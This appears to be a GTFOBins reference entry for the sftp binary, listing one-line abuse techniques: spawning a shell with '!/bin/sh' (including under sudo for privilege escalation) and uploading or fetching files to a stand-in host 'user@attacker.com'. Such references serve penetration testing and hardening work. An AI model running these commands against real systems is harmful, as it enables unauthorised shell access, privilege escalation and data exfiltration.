GTFOBins.github.io/_gtfobins/sftp.md
2018-07-04 19:26:52 +01:00

528 B

functions
execute-interactive upload download sudo-enabled
code
HOST=user@attacker.com sftp $HOST !/bin/sh
description code
Send local file to a SSH server. RHOST=user@attacker.com sftp $RHOST put file_to_send file_to_save
description code
Fetch a remote file from a SSH server. RHOST=user@attacker.com sftp $RHOST get file_to_get file_to_save
code
HOST=user@attacker.com sudo sftp $HOST !/bin/sh